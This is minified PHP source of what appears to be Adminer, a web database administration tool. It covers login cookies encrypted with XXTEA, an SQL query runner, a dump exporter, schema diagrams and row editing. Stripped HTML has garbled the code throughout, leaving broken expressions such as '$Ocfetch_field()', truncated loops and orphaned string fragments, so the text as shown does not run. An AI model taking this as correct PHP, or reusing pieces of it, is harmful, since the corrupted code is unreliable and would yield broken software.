    + +';switch_lang();echo' +';}function +int32($_d){while($_d>=2147483648)$_d-=4294967296;while($_d<=-2147483649)$_d+=4294967296;return(int)$_d;}function +long2str($V,$qg){$Xe='';foreach($V +as$W)$Xe.=pack('V',$W);if($qg)return +substr($Xe,0,end($V));return$Xe;}function +str2long($Xe,$qg){$V=array_values(unpack('V*',str_pad($Xe,4*ceil(strlen($Xe)/4),"\0")));if($qg)$V[]=strlen($Xe);return$V;}function +xxtea_mx($ug,$tg,$uf,$Qc){return +int32((($ug>>5&0x7FFFFFF)^$tg<<2)+(($tg>>3&0x1FFFFFFF)^$ug<<4))^int32(($uf^$tg)+($Qc^$ug));}function +encrypt_string($pf,$v){if($pf=="")return"";$v=array_values(unpack("V*",pack("H*",md5($v))));$V=str2long($pf,true);$_d=count($V)-1;$ug=$V[$_d];$tg=$V[0];$C=floor(6+52/($_d+1));$uf=0;while($C-->0){$uf=int32($uf+0x9E3779B9);$Bb=$uf>>2&3;for($ee=0;$ee<$_d;$ee++){$tg=$V[$ee+1];$zd=xxtea_mx($ug,$tg,$uf,$v[$ee&3^$Bb]);$ug=int32($V[$ee]+$zd);$V[$ee]=$ug;}$tg=$V[0];$zd=xxtea_mx($ug,$tg,$uf,$v[$ee&3^$Bb]);$ug=int32($V[$_d]+$zd);$V[$_d]=$ug;}return +long2str($V,false);}function +decrypt_string($pf,$v){if($pf=="")return"";$v=array_values(unpack("V*",pack("H*",md5($v))));$V=str2long($pf,false);$_d=count($V)-1;$ug=$V[$_d];$tg=$V[0];$C=floor(6+52/($_d+1));$uf=int32($C*0x9E3779B9);while($uf){$Bb=$uf>>2&3;for($ee=$_d;$ee>0;$ee--){$ug=$V[$ee-1];$zd=xxtea_mx($ug,$tg,$uf,$v[$ee&3^$Bb]);$tg=int32($V[$ee]-$zd);$V[$ee]=$tg;}$ug=$V[$_d];$zd=xxtea_mx($ug,$tg,$uf,$v[$ee&3^$Bb]);$tg=int32($V[0]-$zd);$V[0]=$tg;$uf=int32($uf-0x9E3779B9);}return +long2str($V,true);}$g='';$Q=$_SESSION["token"];if(!$_SESSION["token"])$_SESSION["token"]=rand(1,1e6);$pe=array();if($_COOKIE["adminer_permanent"]){foreach(explode(" ",$_COOKIE["adminer_permanent"])as$W){list($v)=explode(":",$W);$pe[$v]=$W;}}$Aa=$_POST["auth"];if($Aa){session_regenerate_id();$_SESSION["pwds"][$Aa["driver"]][$Aa["server"]][$Aa["username"]]=$Aa["password"];if($Aa["permanent"]){$v=base64_encode($Aa["driver"])."-".base64_encode($Aa["server"])."-".base64_encode($Aa["username"]);$_e=$b->permanentLogin();$pe[$v]="$v:".base64_encode($_e?encrypt_string($Aa["password"],$_e):"");cookie("adminer_permanent",implode(" ",$pe));}if(count($_POST)==1||DRIVER!=$Aa["driver"]||SERVER!=$Aa["server"]||$_GET["username"]!==$Aa["username"]||DB!=$Aa["db"])redirect(auth_url($Aa["driver"],$Aa["server"],$Aa["username"],$Aa["db"]));}elseif($_POST["logout"]){if($Q&&$_POST["token"]!=$Q){page_header(lang(55),lang(61));page_footer("db");exit;}else{foreach(array("pwds","dbs","queries")as$v)set_session($v,null);$v=base64_encode(DRIVER)."-".base64_encode(SERVER)."-".base64_encode($_GET["username"]);if($pe[$v]){unset($pe[$v]);cookie("adminer_permanent",implode(" ",$pe));}redirect(substr(preg_replace('~(username|db|ns)=[^&]*&~','',ME),0,-1),lang(62));}}elseif($pe&&!$_SESSION["pwds"]){session_regenerate_id();$_e=$b->permanentLogin();foreach($pe +as$v=>$W){list(,$Qa)=explode(":",$W);list($wb,$J,$U)=array_map('base64_decode',explode("-",$v));$_SESSION["pwds"][$wb][$J][$U]=decrypt_string(base64_decode($Qa),$_e);}}function +auth_error($Sb=null){global$g,$b,$Q;$if=session_name();$k="";if(!$_COOKIE[$if]&&$_GET[$if]&&ini_bool("session.use_only_cookies"))$k=lang(63);elseif(isset($_GET["username"])){if(($_COOKIE[$if]||$_GET[$if])&&!$Q)$k=lang(64);else{$B=&get_session("pwds");if($B!==null){$k=h($Sb?$Sb->getMessage():(is_string($g)?$g:lang(65)));$B=null;}}}page_header(lang(25),$k,null);echo"
    \n";$b->loginForm();echo"
    ";hidden_fields($_POST,array("auth"));echo"
    \n","
    \n";page_footer("auth");}if(isset($_GET["username"])){if(!class_exists("Min_DB")){unset($_SESSION["pwds"][DRIVER]);page_header(lang(66),lang(67,implode(", ",$ue)),false);page_footer("auth");exit;}$g=connect();}if(is_string($g)||!$b->login($_GET["username"],get_session("pwds"))){auth_error();exit;}$Q=$_SESSION["token"];if($Aa&&$_POST["token"])$_POST["token"]=$Q;$k=($_POST?($_POST["token"]==$Q?"":lang(61)):($_SERVER["REQUEST_METHOD"]!="POST"?"":lang(68,'"post_max_size"')));function +connect_error(){global$b,$g,$Q,$k,$xb;$i=array();if(DB!="")page_header(lang(24).": ".h(DB),lang(69),true);else{if($_POST["db"]&&!$k)queries_redirect(substr(ME,0,-1),lang(70),drop_databases($_POST["db"]));page_header(lang(71),$k,false);echo"

    ".lang(72)."\n";foreach(array('privileges'=>lang(53),'processlist'=>lang(73),'variables'=>lang(74),'status'=>lang(75),)as$v=>$W){if(support($v))echo"$W\n";}echo"

    ".lang(76,$xb[DRIVER],"$g->server_info","$g->extension")."\n","

    ".lang(77,"".h(logged_user())."")."\n";if($_GET["refresh"])set_session("dbs",null);$i=$b->databases();if($i){$af=support("scheme");$Ta=collations();echo"

    \n","\n","\n";foreach($i +as$j){$Se=h(ME)."db=".urlencode($j);echo"
     ".lang(24)."".lang(78)."".lang(79)."
    ".checkbox("db[]",$j,in_array($j,(array)$_POST["db"])),"".h($j)."","".nbsp(db_collation($j,$Ta))."","?","\n";}echo"
    \n","\n","

    \n","\n","".lang(81)."\n","

    \n";}}page_footer("db");if($i)echo"\n";}if(isset($_GET["status"]))$_GET["variables"]=$_GET["status"];if(!(DB!=""?$g->select_db(DB):isset($_GET["sql"])||isset($_GET["dump"])||isset($_GET["database"])||isset($_GET["processlist"])||isset($_GET["privileges"])||isset($_GET["user"])||isset($_GET["variables"])||$_GET["script"]=="connect")){if(DB!="")set_session("dbs",null);connect_error();exit;}if(support("scheme")&&DB!=""&&$_GET["ns"]!==""){if(!isset($_GET["ns"]))redirect(preg_replace('~ns=[^&]*&~','',ME)."ns=".get_schema());if(!set_schema($_GET["ns"])){page_header(lang(82).": ".h($_GET["ns"]),lang(83),true);page_footer("ns");exit;}}function +select($E,$h=null,$Ac="",$Wd=array()){$ed=array();$t=array();$f=array();$Ha=array();$T=array();$F=array();odd('');for($p=0;$G=$E->fetch_row();$p++){if(!$p){echo"\n","";for($Oc=0;$Ocfetch_field();$_=$l->name;$Vd=$l->orgtable;$Ud=$l->orgname;$F[$l->table]=$Vd;if($Ac)$ed[$Oc]=($_=="table"?"table=":($_=="possible_keys"?"indexes=":null));elseif($Vd!=""){if(!isset($t[$Vd])){$t[$Vd]=array();foreach(indexes($Vd,$h)as$s){if($s["type"]=="PRIMARY"){$t[$Vd]=array_flip($s["columns"]);break;}}$f[$Vd]=$t[$Vd];}if(isset($f[$Vd][$Ud])){unset($f[$Vd][$Ud]);$t[$Vd][$Ud]=$Oc;$ed[$Oc]=$Vd;}}if($l->charsetnr==63)$Ha[$Oc]=true;$T[$Oc]=$l->type;$_=h($_);echo"name!=$Ud?" title='".h(($Vd!=""?"$Vd.":"").$Ud)."'":"").">".($Ac?"$_":$_);}echo"\n";}echo"";foreach($G +as$v=>$W){if($W===null)$W="NULL";elseif($Ha[$v]&&!is_utf8($W))$W="".lang(34,strlen($W))."";elseif(!strlen($W))$W=" ";else{$W=h($W);if($T[$v]==254)$W="$W";}if(isset($ed[$v])&&!$f[$ed[$v]]){if($Ac){$N=$G[array_search("table=",$ed)];$y=$ed[$v].urlencode($Wd[$N]!=""?$Wd[$N]:$N);}else{$y="edit=".urlencode($ed[$v]);foreach($t[$ed[$v]]as$Ra=>$Oc)$y.="&where".urlencode("[".bracket_escape($Ra)."]")."=".urlencode($G[$Oc]);}$W="$W";}echo"
    $W";}}echo($p?"
    ":"

    ".lang(84))."\n";return$F;}function +referencable_primary($df){$F=array();foreach(table_status()as$yf=>$N){if($yf!=$df&&fk_support($N)){foreach(fields($yf)as$l){if($l["primary"]){if($F[$yf]){unset($F[$yf]);break;}$F[$yf]=$l;}}}}return$F;}function +textarea($_,$X,$H=10,$Ua=80){echo"";}function +format_time($mf,$Ib){return" (".lang(85,max(0,array_sum(explode(" ",$Ib))-array_sum(explode(" ",$mf)))).")";}function +edit_type($v,$l,$Ta,$kc=array()){global$qf,$T,$fg,$Ld;echo' +',"',($fg?"':''),($kc?" ":" ");}function +process_length($w){global$Lb;return(preg_match("~^\\s*(?:$Lb)(?:\\s*,\\s*(?:$Lb))*\\s*\$~",$w)&&preg_match_all("~$Lb~",$w,$jd)?implode(",",$jd[0]):preg_replace('~[^0-9,+-]~','',$w));}function +process_type($l,$Sa="COLLATE"){global$fg;return" $l[type]".($l["length"]!=""?"(".process_length($l["length"]).")":"").(ereg('int|float|double|decimal',$l["type"])&&in_array($l["unsigned"],$fg)?" $l[unsigned]":"").(ereg('char|text|enum|set',$l["type"])&&$l["collation"]?" $Sa ".q($l["collation"]):"");}function +process_field($l,$Xf){return +array(idf_escape(trim($l["field"])),process_type($Xf),($l["null"]?" NULL":" NOT NULL"),(isset($l["default"])?" DEFAULT ".(($l["type"]=="timestamp"&&eregi('^CURRENT_TIMESTAMP$',$l["default"]))||($l["type"]=="bit"&&ereg("^([0-9]+|b'[0-1]+')\$",$l["default"]))?$l["default"]:q($l["default"])):""),($l["on_update"]?" ON UPDATE $l[on_update]":""),(support("comment")&&$l["comment"]!=""?" COMMENT ".q($l["comment"]):""),($l["auto_increment"]?auto_increment():null),);}function +type_class($S){foreach(array('char'=>'text','date'=>'time|year','binary'=>'blob','enum'=>'set',)as$v=>$W){if(ereg("$v|$W",$S))return" class='$v'";}}function +edit_fields($m,$Ta,$S="TABLE",$xa=0,$kc=array(),$Ya=false){global$Ic;echo' +';if($S=="PROCEDURE"){echo' ';}echo'',($S=="TABLE"?lang(89):lang(90)),'',lang(91),' +',lang(92),'',lang(93);if($S=="TABLE"){echo'NULL +AI +

    ".lang(96).": ".h($Xa)."\n";if($m){echo"\n","\n";foreach($m +as$l){echo"
    ".lang(103)."".lang(91).(support("comment")?"".lang(96):"")."
    ".h($l["field"]),"".h($l["full_type"]).($l["null"]?" NULL":"").($l["auto_increment"]?" ".lang(94)."":""),(isset($l["default"])?" [".h($l["default"])."]":""),(support("comment")?"".nbsp($l["comment"]):""),"\n";}echo"
    \n";if(!is_view($O)){echo"

    ".lang(104)."

    \n";$t=indexes($a);if($t){echo"\n";foreach($t +as$_=>$s){ksort($s["columns"]);$ze=array();foreach($s["columns"]as$v=>$W)$ze[]="".h($W)."".($s["lengths"][$v]?"(".$s["lengths"][$v].")":"");echo"
    $s[type]".implode(", ",$ze)."\n";}echo"
    \n";}echo'

    '.lang(105)."\n";if(fk_support($O)){echo"

    ".lang(86)."

    \n";$kc=foreign_keys($a);if($kc){echo"\n","\n";foreach($kc +as$_=>$n){echo"","
    ".lang(106)."".lang(107)."".lang(88)."".lang(108).($u!="sqlite"?" ":"")."
    ".implode(", ",array_map('h',$n["source"]))."","".($n["db"]!=""?"".h($n["db"]).".":"").($n["ns"]!=""?"".h($n["ns"]).".":"").h($n["table"])."","(".implode(", ",array_map('h',$n["target"])).")","".nbsp($n["on_delete"])."\n","".nbsp($n["on_update"])."\n",($u=="sqlite"?"":''.lang(109).'');}echo"
    \n";}if($u!="sqlite")echo'

    '.lang(110)."\n";}if(support("trigger")){echo"

    ".lang(111)."

    \n";$Wf=triggers($a);if($Wf){echo"\n";foreach($Wf +as$v=>$W)echo"
    $W[0]$W[1]".h($v)."".lang(109)."\n";echo"
    \n";}echo'

    '.lang(112)."\n";}}}}elseif(isset($_GET["schema"])){page_header(lang(52),"",array(),DB.($_GET["ns"]?".$_GET[ns]":""));$_f=array();$Af=array();$_="adminer_schema";$ea=($_GET["schema"]?$_GET["schema"]:$_COOKIE[($_COOKIE["$_-".DB]?"$_-".DB:$_)]);preg_match_all('~([^:]+):([-0-9.]+)x([-0-9.]+)(_|$)~',$ea,$jd,PREG_SET_ORDER);foreach($jd +as$p=>$z){$_f[$z[1]]=array($z[2],$z[3]);$Af[]="\n\t'".js_escape($z[1])."': [ $z[2], $z[3] ]";}$Of=0;$Ga=-1;$Ze=array();$Le=array();$ad=array();foreach(table_status()as$O){if(!isset($O["Engine"]))continue;$re=0;$Ze[$O["Name"]]["fields"]=array();foreach(fields($O["Name"])as$_=>$l){$re+=1.25;$l["pos"]=$re;$Ze[$O["Name"]]["fields"][$_]=$l;}$Ze[$O["Name"]]["pos"]=($_f[$O["Name"]]?$_f[$O["Name"]]:array($Of,0));foreach($b->foreignKeys($O["Name"])as$W){if(!$W["db"]){$Yc=$Ga;if($_f[$O["Name"]][1]||$_f[$W["table"]][1])$Yc=min(floatval($_f[$O["Name"]][1]),floatval($_f[$W["table"]][1]))-1;else$Ga-=.1;while($ad[(string)$Yc])$Yc-=.0001;$Ze[$O["Name"]]["references"][$W["table"]][(string)$Yc]=array($W["source"],$W["target"]);$Le[$W["table"]][$O["Name"]][(string)$Yc]=$W["target"];$ad[(string)$Yc]=true;}}$Of=max($Of,$Ze[$O["Name"]]["pos"][0]+2.5+$re);}echo'

    + +';foreach($Ze +as$_=>$N){echo"
    ",''.h($_)."";foreach($N["fields"]as$l){$W=''.h($l["field"]).'';echo"
    ".($l["primary"]?"$W":$W);}foreach((array)$N["references"]as$Ff=>$Me){foreach($Me +as$Yc=>$Ie){$Zc=$Yc-$_f[$_][1];$p=0;foreach($Ie[0]as$jf)echo"\n
    ";}}foreach((array)$Le[$_]as$Ff=>$Me){foreach($Me +as$Yc=>$f){$Zc=$Yc-$_f[$_][1];$p=0;foreach($f +as$Ef)echo"\n
    ";}}echo"\n
    \n";}foreach($Ze +as$_=>$N){foreach((array)$N["references"]as$Ff=>$Me){foreach($Me +as$Yc=>$Ie){$wd=$Of;$nd=-10;foreach($Ie[0]as$v=>$jf){$se=$N["pos"][0]+$N["fields"][$jf]["pos"];$te=$Ze[$Ff]["pos"][0]+$Ze[$Ff]["fields"][$Ie[1][$v]]["pos"];$wd=min($wd,$se,$te);$nd=max($nd,$se,$te);}echo"
    \n";}}}echo'
    +

    ',lang(113),' +';}elseif(isset($_GET["dump"])){$a=$_GET["dump"];if($_POST){$eb="";foreach(array("output","format","db_style","routines","events","table_style","auto_increment","triggers","data_style")as$v)$eb.="&$v=".urlencode($_POST[$v]);cookie("adminer_export",substr($eb,1));$Yb=dump_headers(($a!=""?$a:DB),(DB==""||count((array)$_POST["tables"]+(array)$_POST["data"])>1));$Mc=($_POST["format"]=="sql");if($Mc)echo"-- Adminer $ia ".$xb[DRIVER]." dump + +".($u!="sql"?"":"SET NAMES utf8; +SET foreign_key_checks = 0; +SET time_zone = ".q($g->result("SELECT @@time_zone"))."; +SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO'; + +");$M=$_POST["db_style"];$i=array(DB);if(DB==""){$i=$_POST["databases"];if(is_string($i))$i=explode("\n",rtrim(str_replace("\r","",$i),"\n"));}foreach((array)$i +as$j){if($g->select_db($j)){if($Mc&&ereg('CREATE',$M)&&($gb=$g->result("SHOW CREATE DATABASE ".idf_escape($j),1))){if($M=="DROP+CREATE")echo"DROP DATABASE IF EXISTS ".idf_escape($j).";\n";echo($M=="CREATE+ALTER"?preg_replace('~^CREATE DATABASE ~','\\0IF NOT EXISTS ',$gb):$gb).";\n";}if($Mc){if($M)echo +use_sql($j).";\n\n";if(in_array("CREATE+ALTER",array($M,$_POST["table_style"])))echo"SET @adminer_alter = '';\n\n";$ce="";if($_POST["routines"]){foreach(array("FUNCTION","PROCEDURE")as$Te){foreach(get_rows("SHOW $Te STATUS WHERE Db = ".q($j),null,"-- ")as$G)$ce.=($M!='DROP+CREATE'?"DROP $Te IF EXISTS ".idf_escape($G["Name"]).";;\n":"").remove_definer($g->result("SHOW CREATE $Te ".idf_escape($G["Name"]),2)).";;\n\n";}}if($_POST["events"]){foreach(get_rows("SHOW EVENTS",null,"-- ")as$G)$ce.=($M!='DROP+CREATE'?"DROP EVENT IF EXISTS ".idf_escape($G["Name"]).";;\n":"").remove_definer($g->result("SHOW CREATE EVENT ".idf_escape($G["Name"]),3)).";;\n\n";}if($ce)echo"DELIMITER ;;\n\n$ce"."DELIMITER ;\n\n";}if($_POST["table_style"]||$_POST["data_style"]){$Y=array();foreach(table_status()as$O){$N=(DB==""||in_array($O["Name"],(array)$_POST["tables"]));$lb=(DB==""||in_array($O["Name"],(array)$_POST["data"]));if($N||$lb){if(!is_view($O)){if($Yb=="tar")ob_start();$b->dumpTable($O["Name"],($N?$_POST["table_style"]:""));if($lb)$b->dumpData($O["Name"],$_POST["data_style"],"SELECT * FROM ".table($O["Name"]));if($Mc&&$_POST["triggers"]&&$N&&($Wf=trigger_sql($O["Name"],$_POST["table_style"])))echo"\nDELIMITER ;;\n$Wf\nDELIMITER ;\n";if($Yb=="tar")echo +tar_file((DB!=""?"":"$j/")."$O[Name].csv",ob_get_clean());elseif($Mc)echo"\n";}elseif($Mc)$Y[]=$O["Name"];}}foreach($Y +as$og)$b->dumpTable($og,$_POST["table_style"],true);if($Yb=="tar")echo +pack("x512");}if($M=="CREATE+ALTER"&&$Mc){$D="SELECT TABLE_NAME, ENGINE, TABLE_COLLATION, TABLE_COMMENT FROM information_schema.TABLES WHERE TABLE_SCHEMA = DATABASE()";echo"DELIMITER ;; +CREATE PROCEDURE adminer_alter (INOUT alter_command text) BEGIN + DECLARE _table_name, _engine, _table_collation varchar(64); + DECLARE _table_comment varchar(64); + DECLARE done bool DEFAULT 0; + DECLARE tables CURSOR FOR $D; + DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = 1; + OPEN tables; + REPEAT + FETCH tables INTO _table_name, _engine, _table_collation, _table_comment; + IF NOT done THEN + CASE _table_name";foreach(get_rows($D)as$G){$Xa=q($G["ENGINE"]=="InnoDB"?preg_replace('~(?:(.+); )?InnoDB free: .*~','\\1',$G["TABLE_COMMENT"]):$G["TABLE_COMMENT"]);echo" + WHEN ".q($G["TABLE_NAME"])." THEN + ".(isset($G["ENGINE"])?"IF _engine != '$G[ENGINE]' OR _table_collation != '$G[TABLE_COLLATION]' OR _table_comment != $Xa THEN + ALTER TABLE ".idf_escape($G["TABLE_NAME"])." ENGINE=$G[ENGINE] COLLATE=$G[TABLE_COLLATION] COMMENT=$Xa; + END IF":"BEGIN END").";";}echo" + ELSE + SET alter_command = CONCAT(alter_command, 'DROP TABLE `', REPLACE(_table_name, '`', '``'), '`;\\n'); + END CASE; + END IF; + UNTIL done END REPEAT; + CLOSE tables; +END;; +DELIMITER ; +CALL adminer_alter(@adminer_alter); +DROP PROCEDURE adminer_alter; +";}if(in_array("CREATE+ALTER",array($M,$_POST["table_style"]))&&$Mc)echo"SELECT @adminer_alter;\n";}}if($Mc)echo"-- ".$g->result("SELECT NOW()")."\n";exit;}page_header(lang(114),"",($_GET["export"]!=""?array("table"=>$_GET["export"]):array()),DB);echo' +

    + +';$ob=array('','USE','DROP+CREATE','CREATE');$Bf=array('','DROP+CREATE','CREATE');$mb=array('','TRUNCATE+INSERT','INSERT');if($u=="sql"){$ob[]='CREATE+ALTER';$Bf[]='CREATE+ALTER';$mb[]='INSERT+UPDATE';}parse_str($_COOKIE["adminer_export"],$G);if(!$G)$G=array("output"=>"text","format"=>"sql","db_style"=>(DB!=""?"":"CREATE"),"table_style"=>"DROP+CREATE","data_style"=>"INSERT");if(!isset($G["events"])){$G["routines"]=$G["events"]=($_GET["dump"]=="");$G["triggers"]=$G["table_style"];}echo"
    ".lang(115)."".html_select("output",$b->dumpOutput(),$G["output"],0)."\n";echo"
    ".lang(116)."".html_select("format",$b->dumpFormat(),$G["format"],0)."\n";echo($u=="sqlite"?"":"
    ".lang(24)."".html_select('db_style',$ob,$G["db_style"]).(support("routine")?checkbox("routines",1,$G["routines"],lang(117)):"").(support("event")?checkbox("events",1,$G["events"],lang(118)):"")),"
    ".lang(79)."".html_select('table_style',$Bf,$G["table_style"]).checkbox("auto_increment",1,$G["auto_increment"],lang(94)).(support("trigger")?checkbox("triggers",1,$G["triggers"],lang(111)):""),"
    ".lang(119)."".html_select('data_style',$mb,$G["data_style"]),'
    +

    + + +';$we=array();if(DB!=""){$Oa=($a!=""?"":" checked");echo"","\n";$Y="";foreach(table_status()as$O){$_=$O["Name"];$ve=ereg_replace("_.*","",$_);$Oa=($a==""||$a==(substr($a,-1)=="%"?"$ve%":$_));$ze="\n";$i=$b->databases();if($i){foreach($i +as$j){if(!information_schema($j)){$ve=ereg_replace("_.*","",$j);echo"
    ","","
    ".checkbox("tables[]",$_,$Oa,$_,"checkboxClick(event, this); formUncheck('check-tables');");if(is_view($O))$Y.="$ze\n";else +echo"$ze\n";$we[$ve]++;}echo$Y;}else{echo"
    ".checkbox("databases[]",$j,$a==""||$a=="$ve%",$j,"formUncheck('check-databases');")."\n";$we[$ve]++;}}}else +echo"
    ";}echo'
    +

    +';$gc=true;foreach($we +as$v=>$W){if($v!=""&&$W>1){echo($gc?"

    ":" ")."".h($v)."";$gc=false;}}}elseif(isset($_GET["privileges"])){page_header(lang(53));$E=$g->query("SELECT User, Host FROM mysql.".(DB==""?"user":"db WHERE ".q(DB)." LIKE Db")." ORDER BY Host, User");$sc=$E;if(!$E)$E=$g->query("SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING_INDEX(CURRENT_USER, '@', -1) AS Host");echo"

    \n";hidden_fields_get();echo"\n",($sc?"":"\n"),"\n","\n";while($G=$E->fetch_assoc())echo'
    ".lang(22)."".lang(21)." 
    '.h($G["User"])."".h($G["Host"]).''.lang(33)."\n";if(!$sc||DB!="")echo"\n";echo"
    \n","

    \n",'

    '.lang(120)."";}elseif(isset($_GET["sql"])){if(!$k&&$_POST["export"]){dump_headers("sql");$b->dumpTable("","");$b->dumpData("","table",$_POST["query"]);exit;}restart_session();$zc=&get_session("queries");$yc=&$zc[DB];if(!$k&&$_POST["clear"]){$yc=array();redirect(remove_from_uri("history"));}page_header(lang(46),$k);if(!$k&&$_POST){$oc=false;$D=$_POST["query"];if($_POST["webfile"]){$oc=@fopen((file_exists("adminer.sql")?"adminer.sql":(file_exists("adminer.sql.gz")?"compress.zlib://adminer.sql.gz":"compress.bzip2://adminer.sql.bz2")),"rb");$D=($oc?fread($oc,1e6):false);}elseif($_FILES&&$_FILES["sql_file"]["error"]!=UPLOAD_ERR_NO_FILE)$D=get_file("sql_file",true);if(is_string($D)){if(function_exists('memory_get_usage'))@ini_set("memory_limit",max(ini_bytes("memory_limit"),2*strlen($D)+memory_get_usage()+8e6));if($D!=""&&strlen($D)<1e6){$C=$D.(ereg(";[ \t\r\n]*\$",$D)?"":";");if(!$yc||reset(end($yc))!=$C)$yc[]=array($C,time());}$kf="(?:\\s|/\\*.*\\*/|(?:#|-- )[^\n]*\n|--\n)";if(!ini_bool("session.use_cookies"))session_write_close();$rb=";";$A=0;$Hb=true;$h=connect();if(is_object($h)&&DB!="")$h->select_db(DB);$Wa=0;$Ob=array();$dd=0;$ie='[\'"'.($u=="sql"?'`#':($u=="sqlite"?'`[':($u=="mssql"?'[':''))).']|/\\*|-- |$'.($u=="pgsql"?'|\\$[^$]*\\$':'');$Pf=microtime();parse_str($_COOKIE["adminer_export"],$qa);$Ab=$b->dumpFormat();unset($Ab["sql"]);while($D!=""){if(!$A&&preg_match("~^$kf*DELIMITER\\s+(\\S+)~i",$D,$z)){$rb=$z[1];$D=substr($D,strlen($z[0]));}else{preg_match('('.preg_quote($rb)."\\s*|$ie)",$D,$z,PREG_OFFSET_CAPTURE,$A);list($mc,$re)=$z[0];if(!$mc&&$oc&&!feof($oc))$D.=fread($oc,1e5);else{if(!$mc&&rtrim($D)=="")break;$A=$re+strlen($mc);if($mc&&rtrim($mc)!=$rb){while(preg_match('('.($mc=='/*'?'\\*/':($mc=='['?']':(ereg('^-- |^#',$mc)?"\n":preg_quote($mc)."|\\\\."))).'|$)s',$D,$z,PREG_OFFSET_CAPTURE,$A)){$Xe=$z[0][0];if(!$Xe&&$oc&&!feof($oc))$D.=fread($oc,1e5);else{$A=$z[0][1]+strlen($Xe);if($Xe[0]!="\\")break;}}}else{$Hb=false;$C=substr($D,0,$re);$Wa++;$ze="

    ".shorten_utf8(trim($C),1000)."
    \n";if(!$_POST["only_errors"]){echo$ze;ob_flush();flush();}$mf=microtime();if($g->multi_query($C)&&is_object($h)&&preg_match("~^$kf*USE\\b~isU",$C))$h->query($C);do{$E=$g->store_result();$Ib=microtime();$If=format_time($mf,$Ib).(strlen($C)<1000?" ".lang(33)."":"");if($g->error){echo($_POST["only_errors"]?$ze:""),"

    ".lang(121).": ".error()."\n";$Ob[]=" $Wa";if($_POST["error_stops"])break +2;}elseif(is_object($E)){$Wd=select($E,$h);if(!$_POST["only_errors"]){echo"

    \n","

    ".($E->num_rows?lang(122,$E->num_rows):"").$If;$q="export-$Wa";$Xb=", ".lang(114)."\n";if($h&&preg_match("~^($kf|\\()*SELECT\\b~isU",$C)&&($Wb=explain($h,$C))){$q="explain-$Wa";echo", EXPLAIN$Xb","

    \n";}else +echo$Xb;echo"
    \n";}}else{if(preg_match("~^$kf*(CREATE|DROP|ALTER)$kf+(DATABASE|SCHEMA)\\b~isU",$C)){restart_session();set_session("dbs",null);session_write_close();}if(!$_POST["only_errors"])echo"

    ".lang(123,$g->affected_rows)."$If\n";}$mf=$Ib;}while($g->next_result());$dd+=substr_count($C.$mc,"\n");$D=substr($D,$A);$A=0;}}}}if($Hb)echo"

    ".lang(124)."\n";elseif($_POST["only_errors"])echo"

    ".lang(125,$Wa-count($Ob)).format_time($Pf,microtime())."\n";elseif($Ob&&$Wa>1)echo"

    ".lang(121).": ".implode("",$Ob)."\n";}else +echo"

    ".upload_error($D)."\n";}echo' +

    +

    ';$C=$_GET["sql"];if($_POST)$C=$_POST["query"];elseif($_GET["history"]=="all")$C=$yc;elseif($_GET["history"]!="")$C=$yc[$_GET["history"]][0];textarea("query",$C,20);echo($_POST?"":"\n"),"

    ".(ini_bool("file_uploads")?lang(126).': (< '.ini_get("upload_max_filesize").'B)':lang(127)),'

    + + +',checkbox("error_stops",1,$_POST["error_stops"],lang(129))."\n",checkbox("only_errors",1,$_POST["only_errors"],lang(130))."\n";print_fieldset("webfile",lang(131),$_POST["webfile"],"document.getElementById('form')['only_errors'].checked = true; ");$Za=array();foreach(array("gz"=>"zlib","bz2"=>"bz2")as$v=>$W){if(extension_loaded($W))$Za[]=".$v";}echo +lang(132,"adminer.sql".($Za?"[".implode("|",$Za)."]":"").""),' ',"\n";if($yc){print_fieldset("history",lang(134),$_GET["history"]!="");foreach($yc +as$v=>$W){list($C,$If)=$W;echo''.lang(33)." ".@date("H:i:s",$If)." ".shorten_utf8(ltrim(str_replace("\n"," ",str_replace("\r","",preg_replace('~^(#|-- ).*~m','',$C)))),80,"")."
    \n";}echo"\n","".lang(136)."\n","\n";}echo' +

    +';}elseif(isset($_GET["edit"])){$a=$_GET["edit"];$Z=(isset($_GET["select"])?(count($_POST["check"])==1?where_check($_POST["check"][0]):""):where($_GET));$gg=(isset($_GET["select"])?$_POST["edit"]:$Z);$m=fields($a);foreach($m +as$_=>$l){if(!isset($l["privileges"][$gg?"update":"insert"])||$b->fieldName($l)=="")unset($m[$_]);}if($_POST&&!$k&&!isset($_GET["select"])){$fd=$_POST["referer"];if($_POST["insert"])$fd=($gg?null:$_SERVER["REQUEST_URI"]);elseif(!ereg('^.+&select=.+$',$fd))$fd=ME."select=".urlencode($a);if(isset($_POST["delete"]))query_redirect("DELETE".limit1("FROM ".table($a)," WHERE $Z"),$fd,lang(137));else{$K=array();foreach($m +as$_=>$l){$W=process_input($l);if($W!==false&&$W!==null)$K[idf_escape($_)]=($gg?"\n".idf_escape($_)." = $W":$W);}if($gg){if(!$K)redirect($fd);query_redirect("UPDATE".limit1(table($a)." SET".implode(",",$K),"\nWHERE $Z"),$fd,lang(138));}else{$E=insert_into($a,$K);$Xc=($E?last_id():0);queries_redirect($fd,lang(139,($Xc?" $Xc":"")),$E);}}}$yf=$b->tableName(table_status($a));page_header(($gg?lang(33):lang(140)),$k,array("select"=>array($a,$yf)),$yf);$G=null;if($_POST["save"])$G=(array)$_POST["fields"];elseif($Z){$I=array();foreach($m +as$_=>$l){if(isset($l["privileges"]["select"]))$I[]=($_POST["clone"]&&$l["auto_increment"]?"'' AS ":($u=="sql"&&ereg("enum|set",$l["type"])?"1*".idf_escape($_)." AS ":"")).idf_escape($_);}$G=array();if($I){$H=get_rows("SELECT".limit(implode(", ",$I)." FROM ".table($a)," WHERE $Z",(isset($_GET["select"])?2:1)));$G=(isset($_GET["select"])&&count($H)!=1?null:reset($H));}}if($G===false)echo"

    ".lang(84)."\n";echo' +

    +';if($m){echo"\n";foreach($m +as$_=>$l){echo"
